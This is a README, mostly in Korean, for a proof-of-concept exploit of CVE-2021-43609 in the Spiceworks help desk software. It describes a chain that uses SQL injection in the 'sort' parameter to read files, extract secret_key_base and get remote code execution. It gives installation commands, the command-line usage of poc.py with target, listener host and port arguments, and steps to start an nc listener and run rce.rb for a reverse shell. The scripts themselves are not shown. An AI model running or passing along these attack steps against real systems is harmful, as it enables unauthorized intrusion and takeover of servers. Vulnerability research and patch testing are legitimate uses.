
Spiceworks 헬프 데스크 소프트웨어에 대해 SQL 삽입에서 파일 읽기, 원격 코드 실행 체인을 시연하는 CVE-2021-43609용 개념 증명 익스플로잇입니다.
Spiceworks의 sort 매개변수에 SQLi가 존재합니다. 전체 익스플로잇 체인은 SQLi -> 파일 읽기 -> RCE입니다.
apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev
pip3 install requests
gem install bundler && cd rce && bundle install
poc.py를 사용하여 SQLi -> 파일 읽기를 익스플로잇하고 secret_key_base 환경 변수를 추출합니다. 그런 다음 poc.py에서 얻은 값을 사용하여 리버스 셸을 획득하는 PoC Ruby 스크립트를 생성합니다.
usage: poc.py [-h] --rhost RHOST --lhost LHOST --lport LPORT -u USER -p PASSWORD [-e ENV_PATH]
There's a SQLi in a `sort` parameter of Spiceworks. The exploit chain is SQLi -> file read -> RCE.
optional arguments:
-h, --help show this help message and exit
--rhost RHOST https://example.com
--lhost LHOST 10.10.10.10
--lport LPORT 9001
-u USER, --user USER [email protected]
-p PASSWORD, --password PASSWORD
P@$$w0rd!
-e ENV_PATH, --env_path ENV_PATH
Path to environment variables
rce.rb를 사용하세요. 1단계에서 제공한 IP와 포트로 nc 리스너를 실행한 후, 다음을 실행하세요:
cd rce && ruby rce.rb
짜잔!